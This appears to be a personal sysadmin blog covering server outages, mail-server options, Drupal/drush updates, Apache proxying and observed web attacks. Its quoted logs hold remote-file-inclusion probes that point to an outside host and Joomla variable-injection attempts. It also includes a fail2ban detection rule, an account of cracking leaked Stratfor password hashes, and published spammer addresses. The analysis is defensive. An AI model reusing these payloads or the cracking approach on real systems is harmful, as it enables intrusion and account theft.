There’s still a ton of maintenance work needed, but at least it’s accessible again .

The blog went offline in early April 2021 – because the trusty physical server at home, built sometime before 2008 from off-the-shelf components, finally malfunctioned badly enough to not be fixable remotely over ssh.
(Or maybe it was still fixable, but at 13+ years old I thought it’s better not to fix anymore.)

It had previously survived (and recovered from) several hardware failures:

• (there might have been earlier failures that I no longer remember)
• PSU: after showing higher-than-normal deviations from standard voltages (+.3V, 5V, and 12V), the PSU died with a puff of smoke. It was replaced with a comparably cheap ATX PSU, that served fine for many more years.
• CPU fan failure: as the CPU heatsink was rather small, even with powersave CPU mode it was still getting too hot – so I had to shut it down and wait until I was able to replace the fan.
• OS disk: the server started with an old 320GB Seagate. When SMART data started deteriorating (unreadable/remapped sectors), I have swapped it out for a small and cheap 60GB Kingston SSD.
• Second CPU core: that server used a rather old dual-core AMD Athlon X2. I think it was old back when it was installed . At some point second core (#1) was showing 100% usage, and the server would restart within some minutes after booting. I am still surprised and impressed this was fixable remotely! Maybe the issue wasn’t too bad if the server could still boot and last for a few minutes. The fix was to disable the problematic core permanently from within Linux.

That chapter is over now.
Will the new chapter bring more regular posting?
Other, non-text content?…

We’ll see

My current email server was configured eons ago, it works well,
but I have no desire to painfully transfer all the configuration…
Better install something new, shiny and exciting, right?

I had 3 #self-hosted, #mail-server bookmarks:

• Mail-in-a-box
• iRedMail
• Modoboa
• Sovereign

(Sovereign, the 4th one, was addded after reading more about Mail-in-a-box.)

Here are my notes on what seemed important about these 4.

• iRedMail
• has free and paid web-UIs
• no DNSSEC, DMARC, HSTS
• amavisd with clamav
• has useful manual parts
• containerized
• not attractive
• Modoboa
• less sophisticated than Sovereign or Mail-in-a-box
• web-UI, also for amavisd filters
• overall: focuses on better UI
• has useful manual parts
• recent (experimental?) LetsEncrypt support
• has (some) unit tests
• containerized
• not that attractive
• Sovereign
• has more than I need, but components can be deactivated
• has EncFS support (useful, but questionable because of reboots…)
• no dedicated web-interface, configs are text
• has proper testing against a vagrant virtual machine
• can be dockerized using github.com/kisamoto/dancible
• attractive as “the next solution”, or to borrow EncFS support
• Mail-in-a-box
• the most sophisticated email server (except for EncFS which is not used here)
• simple but useful web-UI
• no amavisd, clamav, UI for filters
• has good relaying manual
• more or less requires a separate machine (overwrites configs?)
• has no well-established testing, not even for development; this is being worked on as of New Year 2017
• problems with owncloud (which I don’t really need)
• hub.docker.com/r/mtrnord/mailinabox/ , github.com/mail-in-a-box/mailinabox/blob/docker/containers/docker/run
• postscreen is not yet configured, it is not obvious if it were beneficial
• the most attractive; might be reasonable to fork and modify (e.g. drop owncloud?)

MIAB appeared really attractive,
but then – do I really want to dedicate one of the VPS to the mail server only?
Not in my case – too low emails volume/traffic.

So running it in an LXC (or some other) container would make sense.
And this is actually possible, some of the users over at MIAB’s discussion forum
have been running MIAB inside docker container for over a year now with no issues.
(An extra upside is that web-UI can be left unexposed, preventing external access to it.)
A possible long-term downside is, of course, lack of tests – Sovereign looks much better in this regard.

Sovereign looks very good overall. In fact, MIAB feels like
“Sovereign’s email component + webui for it” (MIAB was inspired by Sovereign).

One extra MIAB-specific feature is DNSSEC support.
MIAB takes on the role of your nameserver, and thus is able to setup (and refresh, when necessary)
all the DKIM/DNSSEC/etc-relevant DNS records for you.

As soon as I’ve started adding “containerization” to the mix, dozens of other projects entered my field of view:

• github.com/indiehosters/email, inspired by MIAB, looks ok; lacks webmail, fail2ban, SPF, DANE, DNSSEC, but uses vimbadmin instead of a custom-coded MIAB UI
• github.com/tomav/docker-mailserver looks great! No UI, no SQL backend, only 2 text files (accounts and aliases) for all configuration – yay!
• github.com/lava/dockermail, much less active/polished, not really interesting
• github.com/frankh/docker-compose-mailbox adds roundcube and vimbadmin containers; uses SQL; not sure why it has only 10 stars on github…
• github.com/adaline/dockermail – looks ok, less active and seems simpler than docker-mailserver
• poste.io : has free (downloadable) and 2 paid versions; packed with many features and containerized; there is no Dockerfile, but of course you can examine what’s inside the public image anyway; actually, looks good – not sure how posteio-specific the data directory structure is, though… still something to try
• mailgun.com – SMTP service with a more than sufficient free quota for a few low-traffic websites; can be coupled with some forwarding service to avoid any need in an email server; but not this time, I want a mail-server
• yunohost.org : I’m not entirely sure why this is here, maybe it does have email support built-in? ok, yes it does – this is a debian-based “home-server” software, which also includes LDAP and SSO and XMPP and DNS and nginx. Hmm, not bad. I wonder how well it works out of the box.
• kolab.org : groupware; looks interesting as well, but I have no group (yet) to have a use for a full groupware solution
• not reviewed: mailcow.email, mailcow.email/dockerized, github.com/andryyy/mailcow

Finally, one can build an own LXC container, either by following this ArsTechnica series,
or after examining the install scripts of MIAB or Sovereign.
Then automate all of this, keep it well-maintained – and there you have it, one more mail-server solution!

To re-cap:

• MIAB looks very good – feature-rich, easy to install, and just works – you should try it!
• docker-mailserver looks great – I should try it!
• poste.io, yunohost.org and kolab.org are also some interesting solutions to try, along with Sovereign

Not much of a summary, but this is definitely an accurate reflection of reality.

the notebook you are searching in has been moved or renamed since the saved search was created

(which is not true).

I had this problem, and found a solution.

Go to your Evernote on a client where you can edit saved searches (Windows for me),
edit all the searches, and make sure that notebook name is quoted in the search (and also, possibly, with all proper letter cases).

I found this solution by first creating a search from the web-beta interface, it looked like this: notebook:"Mynotebook" tag:1-now
All the crossed-out searches (despite working totally fine on Windows) looked like this: notebook:Mynotebook tag:1-now
or even like this (note the lower-case 1st letter of the notebook name): notebook:mynotebook tag:1-now.

After editing saved searches and synchronizing, they all appear (and work) just fine in the beta web-interface.

If you cannot edit your searches right now, there is another workaround: all the saved searches work fine for me from the Shortcuts menu (a star in the left panel).

Hope this helps!

bogdan.org.ua:80 130.193.51.57 – - [09/Apr/2016:15:53:22 +0300] “GET /categories/programming?_SERVER[DOCUMENT_ROOT]=http://www.daedongfur.co.kr/shop/log/.logs/id1.txt HTTP/1.1″ 200 13158 “-” “Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)”

Client’s IP 130.193.51.57 does belong to Yandex network range.

So…

• Had Yandex started looking for vulnerabilities in the web-sites it scans?
• Does it only look for vulnerabilities in the .UA web-sites/domains?
• Does Yandex really use a Korean web-site to host malicious code?

In fact, there are more entries like that one, also from one of Yandex IPs:

bogdan.org.ua:80 130.193.51.25 – - [04/Apr/2016:00:14:22 +0300] “GET /categories/programming/page/5?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fwww.daedongfur.co.kr%2Fshop%2Flog%2F.logs%2Fid1.txt HTTP/1.1″ 200 12607 “-” “Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)”
bogdan.org.ua:80 130.193.51.25 – - [04/Apr/2016:00:19:31 +0300] “GET /categories/programming/page/4?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fwww.daedongfur.co.kr%2Fshop%2Flog%2F.logs%2Fid1.txt HTTP/1.1″ 200 12174 “-” “Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)”

I can see 3 explanations, and all of them are bad for Yandex:

• Yandex now belongs to KGB, and it does scan [.UA] web-sites for vulnerabilities;
• some/many of Yandex crawler servers are compromised, and are used by malicious 3rd parties;
• there was a public malicious link somewhere (???) to my blog, and Yandex blindly followed it.

The simplest solution to forward requests from the web-frontend to your API is by using mod_proxy.
If you want to forward any requests to /api/* to your custom back-end server on port 8000, you just add the following lines to your VirtualHost configuration:

ProxyPass “/api” “http://localhost:8000″
ProxyPassReverse “/api” “http://localhost:8000″

I’d suggest not wrapping this fragment with the classical IfModule: as your application will not really work without its API back-end, you actually want Apache to fail as soon as possible if mod_proxy is missing.

That was easy, right? What, it doesn’t work? Can’t be! It’s dead simple! No way you could make a mistake in 2 lines of configuration!!! :mad_rage:

Oh wait… I remember I had this problem before…

Let’s check:

1. Step 1. Did you disable (using a2dissite default or a2dissite 000-default, depending on your Debian-based GNU/Linux) the default website? If your application and the default website are configured in a similar way, then it might be the default site which is serving your app’s pages. The most sure way is to just disable it.
2. Step 2. Did you enable also the proxy_http sub-module? (Using a2enmod proxy_http, followed by service apache2 restart) mod_proxy is only the core module, actual per-protocol work is done by these sub-modules.

Your requests to /api should now be passed on to your API server. If not – please write in the comments what was the problem in your case and how you solved it. HTH!

I am updating a multisite Drupal 6 installation. To the best of my knowledge, the only difference for Drupal 7 is that instead of the site_offline D6 variable the maintenance_mode variable is used in D7.

On Debian stable and later, you can sudo aptitude install drush and then just use it immediately after that.

Note: I recommend su webuser (or sudo -s followed by sudo -s -u webuser) before you run any non-testing drush commands, where webuser is the user which owns your web-exposed files (e.g. Debian’s default is, I think, www-data). I’ve seen a lot of recommendations to run drush as a super-user, but that does not make sense, and may actually cause problems with file ownership.

One last thing before we start: if your drush seems to work fine but hangs when untarring modules – check this solution.

1. Run some innocent command in drush to see if it produces any PHP warnings/errors you may want to fix before running actual update: drush @sites core-status. In my case, all the sites had the CacheRouter module for in-RAM caching with a server daemon back-end, which was not initialized properly when drush bootstrapped Drupal from the command line. In my case, the only working solution was to edit settings.php files of every site to comment out the CacheRouter configuration for the period of update. If you get no warnings/errors, proceed to the next step. Note: I was running drush from the Drupal’s root (directory which has top-level index.php and .htaccess files), but this should also work if you run from sites/ or even sites/sitename.
2. Here would be several more steps – copying your production website(s) to a dev-server (if you do not have one already), performing an update on the dev-server first to see if anything breaks and needs fixes, then migrating updated website(s) from the dev-server to production server. Drush actually has tools to simplify all of these procedures. However, the websites I was updating were not critical, and short downtime was not a problem, so I was updating live websites. Modify these steps as you see fit to make the process more reliable.
3. Backup databases of all your sites. With drush: drush @sites sql-dump --result-file --gzip. This puts backups somewhere into the home directory of your webuser. Backups are named with a human-readable timestamp. Of course, you can also create a manual Backup and Migrate backup, or use phpMyAdmin, or just mysqldump.
4. Backup your site’s files. This step might be unnecessary, as drush seems to backup modules it is upgrading. I would still recommend making a backup, e.g. with tar -acf multidrupal.tar.bz2 html, where html is the directory containing your multisite Drupal’s root index.php.
5. Put the websites into maintenance mode and clear all caches; see the D7-specific note above: drush @sites variable-set site_offline 1 ; drush @sites cache-clear all.
6. The actual update! The easiest way would probably be to drush @sites pm-update, but I haven’t tested that and used a process which I understand better, and which seems more reliable to me (if anything goes wrong). If in your drupal root you have sites/site1 and sites/site2, then run:
   
drush site1 pm-updatecode
drush @sites updatedb
drush site2 pm-updatecode
drush @sites updatedb

   The pm-updatecode command only updates files, and does not run database update. So with these commands I am first updating modules from site1, then running database update on all sites, then update modules of site2, and run database update on all sites again. Running drush @sites updatedb multiple times, even when there are no updates, should be safe. Take note of any warnings/errors reported, you will want to fix them later, for example:

   WARNING: Updating core will discard any modifications made to Drupal core files, most noteworthy among these are .htaccess and robots.txt. If you have made any modifications to these files, please back them up before updating so that you can re-create your modifications in the updated version of the file.

7. Disable maintenance mode. Cleaning the cache seems unnecessary, as updatedb command does that. drush @sites variable-set site_offline 0.
8. Finalize: re-enable anything disabled before the updates, fix warnings/errors you noted during the update.

This worked well for me, and I hope it works well for you.

Symptoms

• running drush @sites pm-update results in normal execution up to after answering ‘y[es]‘; then drush seems to hang indefinitely (haven’t waited beyond about 10 minutes, maybe it does produce an error after a long while);
• running the same command with --debug shows that drush hangs when trying to untar the downloaded module.tar.gz archive; there are no errors/warnings, it just hangs with no CPU usage;
• trying to untar any of the modules downloaded from drupal.org manually is also unsuccessful: tar -xzvf module.tar.gz seems to do nothing, it also hangs with zero CPU usage/time and no warnings/errors;
• interestingly, if I create some test.tar.gz locally, tar does happily extract that;
• finally, running strace tar -xzvf module.tar.gz shows a number of unexpected lines, such as references to NSS and libnss files (I am only showing some of the lines of strace output, including the last line):
  

  open(“/etc/nsswitch.conf”, O_RDONLY) = 4
  read(4, “# /etc/nsswitch.conf\n#\n# Example”…, 4096) = 683
  open(“/lib/x86_64-linux-gnu/libnss_nis.so.2″, O_RDONLY) = 4
  open(“/lib/x86_64-linux-gnu/libnss_files.so.2″, O_RDONLY) = 4
  open(“/etc/passwd”, O_RDONLY|O_CLOEXEC) = 4
  open(“/usr/lib/x86_64-linux-gnu/libnss_mysql.so.2″, O_RDONLY) = 4
  open(“/etc/group”, O_RDONLY|O_CLOEXEC) = 4
  open(“/etc/libnss-mysql.cfg”, O_RDONLY) = -1 EACCES (Permission denied)
  open(“/etc/libnss-mysql-root.cfg”, O_RDONLY) = -1 EACCES (Permission denied)
  futex(0x7fd0816e8c48, FUTEX_WAIT_PRIVATE, 2, NULL

Analysis
strace output provided enough information to understand the issue and generate a workaround. Briefly, we see tar querying users and groups information. On the system where this problem was identified, MySQL is used as a name-service back-end. This is why we see references to mysql libraries in the trace. Apparently, tar is trying to resolve some user/groups information, but for some reason does not get what it is asking in a timely manner, or possibly never gets it and will only fail/proceed when the request times out.

Workaround
Not a solution, but works: tar -xzv --numeric-owner -f module.tar.gz. The --numeric-owner switch asks tar to use numeric file/directory owner information as-is, without trying to resolve the name of the owner. This works. I have not checked strace for the workaround, but I expect to see no MySQL/NSS references in it with the switch.

To actually be able to use drush with this workaround, I had to edit drush.inc somewhere under /usr/share/drush/; look for ‘tar ‘ string, and add --numeric-owner where necessary. Do not forget that -f has to be just in front of the archive filename, otherwise your edits will not work.

With automated spam, automated spam-fighting systems might be the only choice. Sending rightfully angry emails to ISPs to notify about their customers violating service agreements is probably a waste of effort (something tells me most of these complaints end up in the trash folder, or even in the… spam folder). However, I get a feeling that some spam is not automated – it appears to have been actually prepared and sent by a human. (Alternatively, spammers behind those spams simply have better software.) Anyway, some spams seem to contain valid contact data of the advertized entity – like an email.

The resulting idea is very simple and was probably already implemented somewhere by someone: simply publish online contact emails of the entities which, apparently, had chosen spam as the primary means of advertising. These emails will be sooner or later harvested by spammers, added to spam databases, and will start getting progressively more spam.

There are a few drawbacks to this approach:

• knowing spam-collection points enables “black PR”-like mass-mailings in the name of one’s competitor, double-hurting the innocents; I do not see a clear method of preventing this, other than by concealing spam collection methods;
• human intelligence is required to identify if the contained email truly belongs to the advertised entity; this is fairly time-consuming, especially when scaled up; a possible solution (with its own problems) would be to build an online gateway for submitting curated spam samples, thus distributing the workload to all the participating volunteers;
• the next logical step is actually harvesting and then publishing all the emails from the advertised website;
• the biggest drawback, however, is low efficiency of this approach; increasing spam percentage will only be a mild nuisance, which isn’t likely to propagate high enough to affect spam-deciders; also, indirectly spamming someone’s mailbox will result in the loss of time, which could have been otherwise used for facebook and other important activities

What do you think? Should such a method be used?

Below I provide a few sample records from real spam comments, which had true-looking emails. I’m including some extra meta-data. Ideally, this should be stored in some kind of a database.

Submitted on 2013/11/13 at 15:23 GMT
Author : Виктор (IP: 95.134.110.37 , 37-110-134-95.pool.ukrtel.net)
E-mail : aionind@yandex.ru
E-mail : sale@aion-industry.ru
E-mail : info@aion-industry.ru
Submitted on 2013/11/26 at 8:53 GMT
Author : Виктор (IP: 95.134.146.235 , 235-146-134-95.pool.ukrtel.net)
E-mail : kvazargr@yandex.ru
E-mail : info@kvazar-gr.ru
Submitted on 2013/11/28 at 7:24 GMT
Author : Виктор (IP: 95.134.117.155 , 155-117-134-95.pool.ukrtel.net)
E-mail : relevater@yandex.ru
E-mail : info@relevate.ru
E-mail : support@relevate.ru
E-mail : billing@relevate.ru

There’s definitely a need for a public database, API keys, and quorum algorithms…

Author : casinoworka (IP: 91.207.4.201 , 201.4.207.91.unknown.SteepHost.Net)
E-mail : pharmacywork7777777@gmail.com
E-mail : info@prowessmedical.com

I do not really recollect anything that large. Well, not counting dropbox’s 4-hour window of “any password fits all accounts”, but that was different.

Here are some of the news items about this seriously large hacking incident:

• NYTimes (Dec. 25, 2011)
• WSJ (Dec. 25, 2011)
• CNN (Dec. 25, 2011)
• relatively above-average write-up from Wired (Dec. 26, 2011)
• ABCNews (Dec. 26, 2011)
• The Register (Jan. 3, 2012)

Here come more technical reports:

• short pastebin document, supposedly by the hackers
• cryptome keeps track of the data being removed from the internet
• a 1MB report by the hackers
• TheTechGerald has some analysis of the leaked stratfor passwords (Jan. 2, 2012)

TheTechGerald’s analysis linked to above got my attention. Unfortunately, a while ago I’ve subscribed to stratfor’s “free intelligence mailing list”, and was wondering if my account information is now publicly available. I was the most worried about the password I’ve used to subscribe, because of the risk of using the same password somewhere else.

Unlike TheTechGerald, I haven’t used any dictionaries – just the default configuration of a well-known tool for finding weak passwords. Within a single hour, ~100k passwords were decrypted (~12% of all). Till the end of the day, ~50k more passwords were decrypted (totalling 17.4% of 860k). At this point my password was still safe, and I’ve found a way to verify that it is not used anywhere else, so I’ve aborted further decryption.

There are a few simple conclusions:

• anybody who had a stratfor account must verify that he/she isn’t using that password anywhere else, because if 1 PC can get 17% of all the passwords in less than a day, it is only a matter of short time until all the leaked passwords will be decrypted and made publicly available in various “md5 decryption databases”
• system owners should run periodic screenings for weak passwords (and implement policies to prevent creating obviously weak passwords from the very beginning)
• md5 is very fast to decrypt/bruteforce – a much slower hashing function wouldn’t hurt; also, using a more complex hashing approach, maybe even with a closed-source shared library, could help
• single-factor authentication (password-based) is likely to get replaced with 2-factor authentication in the nearest future
• one may enjoy increased personal data safety by using throw-away passwords in conjunction with antispam mailboxes like spam.la and mailinator.com (at least 1600 users – 0.186% – did use these services).

Fortunately, the top 10 passwords (by their counts) were exclusively “throw-away”, and added up to ~10% of the decrypted passwords. (I’m not showing any, as that would unnecessarily simplify further decryption – maybe thetechgerald should have also been more vague about actual passwords.)

Sooner or later this significant-size corpus of real-life passwords will find its way (after decryption by those who would actually use leaked passwords to gain unauthorized access) into various wordlists and wordlist mutation rules, making it even easier to decrypt any future leaks. This is where 2-factor authentication will, hopefully, come in handy to protect against similar leaks.

I wonder if I should put up a page “Check if my password was among those 860k”, to help people easily identify if they should change theirs – not even necessarily being a Stratfor subscriber. Unless similar pages/services had already been put up by others.

It is also unclear what will the future of Stratfor be, taking into account that their website is still dysfunctional.

It is sad to see Drupal (stratfor.com’s CMS) involved here. However, I have no idea if their installation was up to date, and if their website was the point of entry. The hacklog suggests that attackers somehow obtained the password of one of the system administrators, and then used it for SSH access, which would save Drupal’s face (Drupal’s security record to date was pretty reassuring).

Back in 2007 I wrote a brief review of web-based project management tools. After that, I started using dotProject for personal projects management. I’m still using it, but for collaborative project management, communication, and tasks/milestones tracking dotProject isn’t perfect.

I need a tool, which is

• collaborative
• web-based (to allow effective collaboration)
• preferably free
• has concise per-project activity log
• minimal required functionality: tasks, milestones, files, and status updates.

After trying a few things, our small team settled for now on using github + pivotaltracker jira + confluence + flowdock.

Here’s a full list of tools briefly reviewed. I’ve been already using ProjectPier, so I’ll start with this software.

ProjectPier (used myself)

• dashboard: all events log
• interface similar to Basecamp; themable/skinnable
• all the basic features are there (milestones, tasks, task lists, messages, files)
• modular (functionality is in plugins)
• easy to install (requires PHP and MySQL)
• is being maintained/developed (maybe slowly, but that doesn’t mean much)

Not much to add. Simple, functional, worked good for a 1-person “team” (that is, for personal projects management). Have no idea how it scales to more people.

Collabtive

• desktop: just an overview, no log of events; project view has ‘activities’ log
• [too much?] eye-candy, JS-reach default interface (themable/skinnable)
• projects, tasks, milestones, messages, files
• calendar, time tracking
• is being maintained/developed

Open Atrium

• Drupal-based, thus probably the most flexible (but requires time investments to change functionality)
• 6 features: blog, wiki, calendar, to-do list, shoutbox, and a dashboard to manage it all
• has “recent activity” log
• issues tracking
• I guess it is heavier than others in use patterns: requires more clicking and typing (as it has more features), and there seem to be no concepts of milestones and projects – just tasks

Projectfork

• possibly Joomla-based
• free, with commercial add-ons, themes, and maybe support
• projects, milestones, tasks with priorities, files
• calendar, discussion board, time tracking
• activity stream (premium add-on)

EGroupware

• hosted, commercial
• free community version is available for download
• projects, tasks, sub-tasks, files
• address book, calendar, chat, issue tracking system, time tracking
• knowledge base, wiki
• news, polls
• interface seems very responsive (JS-reach)
• large, feature-reach: might be an overkill where basecamp would do just fine
• actively developed

]project-open[

• not reviewed: seems even more feature-reach (complicated) than EGroupware

Redmine

• doesn’t seem to use “milestone” and “task” concepts
• issue tracking, gantt charts, calendar, time tracking
• wiki, files, forums, roadmap (similar to trac)
• repository browser (among others, git and svn are supported)
• is maintained/developed

Codebase

• non-free
• issue tracker for git/mercurial/others with project management features
• wiki, time tracking, milestones, files

Ofuz

• paid hosted version (free up to 5 projects), free version available for download
• contacts, time tracking, invoices
• projects, tasks, documents, files
• tight email integration (e.g. continue discussions by email, with replies logged to Ofuz)

RailsCollab

• activecollab-inspired, ProjectPier-based Ruby software
• interface (and features) very similar to ProjectPier
• tasks and task lists, milestones, files, messages
• time-tracking
• development/maintenance stalled in Feb 2010

Teambox (used myself)

• hosted service (free up to 3 projects), community edition available for download; RoR-based
• free plan has search disabled
• projects, tasks, task lists, files
• dashboard
• pages/wiki/writeboard, discussions
• gantt charts, calendar, twitter-like status updates, time-tracking
• light interface
• clients for mobile devices
• email notifications and email-to-web functionality

Seems best for conversations-oriented projects. A few times posted updates took lots of time to become visible to other team members (far not immediate, so comparison to twitter does not give the right idea), and page refreshes (even forced) didn’t help. Tasks system is basically an extension of conversations: once you created a task, you can only “extend” it with comments, but not edit. Personally, I found the tasks implementation too awkward to use – it might be different for writing-related projects. I liked the Pages functionality: it provides a good (easy and quick) way of organizing information accumulated by the project. Basically, we ended up using Teambox as a repository for external and internal documentation – but not for status updates, chats or planning.

As free time permits, I would love to compile a feature table, comparing all these tools, together with subjective “easy-of-use” scores (maybe collected with a poll of some kind). Any contributions towards this simple goal are welcome. If comments fail to work for you – use the contact page.

A few more related web-tools follow.

Pivotal Tracker (currently using)

• agile projects management
• concepts: icebox, backlog, current, done
• has: features, bugs, chores, releases; each of these can have description, comments and short tasks (all very easy to add and organize)
• features can have their complexity estimated in points, which are then used to calculate weekly team velocity, and also to move tasks from the backlog panel into current panel

I’m new to agile development tools, and after getting used to it – Pivotal Tracker is good. It is also useful as a place to keep the things you would like to eventually implement – just append these to the end of the icebox, and then start-move to backlog/current when determined to implement.

Flowdock (currently using)

• web-chat with history saved as an infinite scrollable page
• has a concept of “flows” (similar to chat rooms in campfire)
• tags (tab-autocomplete possible when writing messages); can be added/removed to/from existing entries
• files can be inserted directly into chat stream
• separate views for posted URLs and files
• full-text search (a recent feature), and search by tags
• mobile device support (haven’t tried)
• various desktop notification tools for all platforms (Linux, Mac, Windows); has minimally-configurable sound notifications
• tracks online/idle/offline statuses (e.g. idle for X hours or offline for Y hours)
• mails can be sent to a flow, and they can have tags
• Influx: an aggregator of external events (github, twitter, RSS, mails, PivotalTracker, Confluence and others)

Flowdock is just… convenient. After trying teambox, present.ly and campfire, we seem to have settled on this one for in-project communication (our team currently has only 3 people, though). The most convenient feature is probably the built-in aggregator.

WeDoist

• collaborative to-do lists
• tasks (maybe also sub-tasks), status updates, group chat
• hosted solution

ToDoist

• 1-person projects, tasks, sub-tasks
• hosted solution
• opera widget at http://widgets.opera.com/widget/15372/

SlimTimer (using this one)

• simple (perfect? ) tasks-based timetracker with nice reports feature
• hosted solution, has free plan

Present.ly (used myself, would use again)

• “corporate twitter”
• hash-tags autocompletion
• files can be attached
• “attach text” – when 140 symbols is not enough
• direct messaging and replies; replies can be viewed in threaded mode
• mobile devices support (haven’t tried)
• configurable email alerts
• concepts helping organize data: topics, feeds, tags
• separate views for files and links to find them faster

Overall, present.ly is very cool for within-team status updates – that is, to keep track of what anybody’s doing.

Campfire (used myself)

• web-chat with “rooms” (e.g. by topic, by department etc)
• each day is saved as a transcript of chats
• files can be attached directly within the chat flow
• full-text searchable
• free use tier implies chat-stream embedded ads (can be removed with adblock+ and element hiding helper)
• can be configured to track external resources (e.g. github commits), though those do not look as good as in flowdock

Overall, campfire is a nice chat. The best thing they have is the event sound – probably the best I’ve heard.

Finally, nice mantra (except for the very last phrase) from ToDoist – “The Zen of Todoist”:

Now is better than later.
Later is better than never.
Organized is better than messy.
Big things are composed by smaller things.
Smaller things are done by action.
Think like a person of action.
Act like a person of thought.
The beginning is half of every action.
The longest journey starts with the first step.
Everything should be made as simple as possible.
But not simpler.
Celebrate any progress.
Don’t wait to get perfect.
Deadlines and stress are a part of life.

Noticing weird narrow spikes in server load graph, I decided to investigate the most recent one – at 03:50 GMT+2 on Nov. 6, 2010.

The reason was simple: someone issued a few hundred HEAD-requests over a 30 second period to a PHP-based web-application.

All the requests were coming from IP 109.169.59.139, which belongs to the IP range of thrustvps.com:

inetnum: 109.169.58.0 – 109.169.59.255
netname: ThrustVPS_1
descr: Thrust::VPS
country: US
admin-c: RF5058-RIPE
tech-c: RF5058-RIPE
status: ASSIGNED PA
mnt-by: RAPIDSWITCH-MNT

However, it is the referrer string which is more interesting: in all those requests, decorated with varying UserAgents and even operating systems, there was only one referrer – www.dewlance.com.

Initially I thought that was a test of a new DoS attack – really, who would issue dozens of HEAD requests to the same page over a few seconds? However, after seeing that “referrer” string, I now think this is a cheap, blatant, poor and ugly SEO performed by dewlance. It relies on some sites displaying a box of ‘recent visitors’, sometimes including their referrer URL as a “page where this visitor came from” – this would give dewlance.com some free link-love. Or maybe dewlance.com expects administrators to investigate log files, notice that referrer string, and happily order some services from dewlance? No way

I’ll file a complaint with thrustvps if I see that kind of misbehaviour again. All that started on Nov. 4, so there’s still hope people behind this dumb SEO implementation will get fired.

Update 1: they do this every 4 hours since November 4, 2010 (Thursday). This results in loads up to 22, with ~50 apache processes struggling for a few CPU cores:

Update 2: some 20 hours after sending report to abuse at thrustvps.com nothing has changed – still a bunch of HEAD requests every 4 hours. I have written a fail2ban filter+rule to ban anything issuing more than about 1 HEAD request per second. If that rule works as expected – I’ll publish it here.

Update 3: the last HEAD request referring to dewlance occurred at 12:23 GMT on November 8, 2010. I have no idea if that was my complaint, or if that “experiment” just ended naturally.

I have been testing fail2ban rule for false-positives, and it now seems OK. However, I haven’t tested for true positives – I do not know if it will actually block extra HEAD requests (it should).

Put the fragment below into your /etc/fail2ban/jail.local (edit logpath to match your apache logs):

[head-dos]
enabled = true
port = http,https
filter = head-dos
logpath = /var/log/apache2/other_vhosts_access.log
maxretry = 8
findtime = 6
#ban for 25 hours
bantime = 90000
action = %(action_mwl)s

I recommend leaving action as specified for a few weeks to see if you aren’t blocking legitimate requests.

Also paste the fragment below into /etc/fail2ban/filter.d/head-dos.conf:

# Fail2Ban configuration file
#
# Author: bogdan.org.ua
#

[Definition]

# Option: failregex
# Note: this regex matches *any* HEAD requests; together with a maxretry=8 and findtime=6 (for example)
# this rule should ban anything issuing more than ~1 HEAD request per second.
#
# sample matching entry:
# bogdan.org.ua:80 109.169.59.139 – - [07/Nov/2010:04:38:33 +0200] “HEAD /2009/10/27/search-and-replace-in-a-mysql-table.html HTTP/1.0″ 200 – “http://www.dewlance.com” “Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.7 Safari/532.2″
#

failregex = ^[^ ]+ -.*”HEAD /.*$

# Option: ignoreregex
# Notes.: regex to ignore. If this regex matches, the line is ignored.
# Values: TEXT
#
ignoreregex =

Update: this rule does work. There were a few false-positives over 2 weeks of testing, so you may need to tune number of requests and time period. After the initial HEAD attacks I’ve seen there were more of these, with other referrer strings – but always a website URL.

Please comment to report improvements/enhancements and problems you’ve encountered with this rule.

That’s my first encounter of Shapado, so it was interesting to read Shapado authors’ justification and a related question on meta.SO.

For about 2 weeks now, I am every day alerted of the suspicious behavior of some computer/server from the Google’s IP range:

Dec 5 05:39:33 mx suhosin[3701]: ALERT – tried to register forbidden variable ‘_REQUEST[option]‘ through GET variables (attacker ’66.249.71.20′, file ‘html/index.php’)
Dec 5 05:39:33 mx suhosin[3701]: ALERT – tried to register forbidden variable ‘_REQUEST[Itemid]‘ through GET variables (attacker ’66.249.71.20′, file ‘html/index.php’)
Dec 5 05:39:33 mx suhosin[3701]: ALERT – tried to register forbidden variable ‘GLOBALS’ through GET variables (attacker ’66.249.71.20′, file ‘html/index.php’)
Dec 5 05:39:33 mx suhosin[3701]: ALERT – ASCII-NUL chars not allowed within request variables – dropped variable ‘mosConfig_absolute_path’ (attacker ’66.249.71.20′, file ‘html/index.php’)
Dec 5 05:39:42 mx suhosin[3701]: ALERT – tried to register forbidden variable ‘_REQUEST[option]‘ through GET variables (attacker ’66.249.71.20′, file ‘html/index.php’)
Dec 5 05:39:42 mx suhosin[3701]: ALERT – tried to register forbidden variable ‘_REQUEST[Itemid]‘ through GET variables (attacker ’66.249.71.20′, file ‘html/index.php’)
Dec 5 05:39:42 mx suhosin[3701]: ALERT – tried to register forbidden variable ‘GLOBALS’ through GET variables (attacker ’66.249.71.20′, file ‘html/index.php’)
Dec 5 05:39:42 mx suhosin[3701]: ALERT – ASCII-NUL chars not allowed within request variables – dropped variable ‘mosConfig_absolute_path’ (attacker ’66.249.71.20′, file ‘html/index.php’)

These requests repeat up to several hundred times per hour, with periods of no or very little malicious requests.

Here’s WHOIS information about 66.249.71.20:

OrgName: Google Inc.
OrgID: GOGL
…
NetRange: 66.249.64.0 – 66.249.95.255
CIDR: 66.249.64.0/19
NetName: GOOGLE
NetHandle: NET-66-249-64-0-1
Parent: NET-66-0-0-0-0

Does Google attack you, too?

These attacks initially started from a different Google IP – 66.249.71.2; I wrote to abuse at google, and got an automated response with the ticket number (in the hundreds of millions range). A week after that, requests started flowing from IP 66.249.71.20. I am not inferring “evil Google abuse department” here, just that there was no response, and the problem shifted to a different IP from the Google’s IP range.

Update: I decided just to ignore this class of problems.

“Evil?” image by copyblogger.com.

WordPress has a Global Translator plugin, which – among others – uses Google Translate service.

If someone uses Google Translate (e.g. using Global Translate’s mini-language-flags), and goes back to your blog – that someone might get banned by fail2ban (especially if you have set maxretry to 1), as the referrer will contain the php-URL-fopen attack signature. The bad thing is that you will not realize that until after you check one or several translations yourself, as a random site visitor experiencing the problem is highly unlikely to bother reporting this problem – especially when your blog’s Contact page is also inaccessible.

